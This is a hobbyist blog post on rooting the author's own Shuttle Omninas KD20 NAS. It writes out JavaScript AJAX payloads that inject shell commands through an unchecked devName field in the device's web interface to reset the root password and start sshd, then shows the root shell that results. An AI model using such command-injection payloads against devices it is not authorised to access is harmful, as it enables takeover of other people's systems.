Getting root (and SSHD on boot) with the Shuttle Omninas KD20

by matthew
0 comment

I recently picked up a Shuttle Omninas KD20 on sale from NCIX.    It runs Linux, but sshd is disabled by default.  Thankfully it wasn’t too difficult to break in to.

:)

The Storage -> Disk Manager page has an info button that calls smartctl -a.  It doesn’t check parameters passed by the page 

With the Disk Manager page loaded, open your Web Developer Console and run the following javascript commands:

(pastebin text version; thanks to scotty86 for the paste)

$.ajax({

type:”POST”,

url: ‘http://192.168.1.93/action/healthy_action.php’,

cache: false,

//data: “devName=sda”+$devName,

data: “devName=/dev/sd; (echo \”foobar\nfoobar\n\” | sudo passwd root) “,

success:function(data){

console.log(data)

}

});

# Changing the root password

$.ajax({

type:”POST”,

url: ‘http://192.168.1.93/action/healthy_action.php’,

cache: false,

//data: “devName=sda”+$devName,

data: “devName=/dev/sd; sudo /etc/rc.d/sshd.sh start”,

success:function(data){

console.log(data)

}

});

# start sshd

With those simple little ajaxy functions I was able to access the device via ssh

login as: root
[email protected]′s password:
BusyBox v1.10.3 (2013-11-06 11:05:30 CST) built-in shell (ash)
Enter ‘help’ for a list of built-in commands.

OMNINAS-XYZZY> df
Filesystem 1k-blocks Used Available Use% Mounted on
/dev/ram0 15863 2134 13729 13% /initrd
/dev/md0 201556 372 190948 0% /system
/dev/md1 1463634048 27294636 1436339412 2% /share/atonnas
OMNINAS-XYZZY> cd /proc/
OMNINAS-XYZZY> cat cpuinfo
Processor : ARMv6-compatible processor rev 5 (v6l)
processor : 0
BogoMIPS : 299.00

processor : 1
BogoMIPS : 299.82

Features : swp half thumb fastmult edsp java
CPU implementer : 0×41
CPU architecture: 7
CPU variant : 0×0
CPU part : 0xb02
CPU revision : 5

Hardware : Oxsemi NAS
Revision : 0000
Serial : 0000000000000000
OMNINAS-XYZZY>

Yay!

It would be nice if Shuttle just enabled ssh by default though.  Pretty please?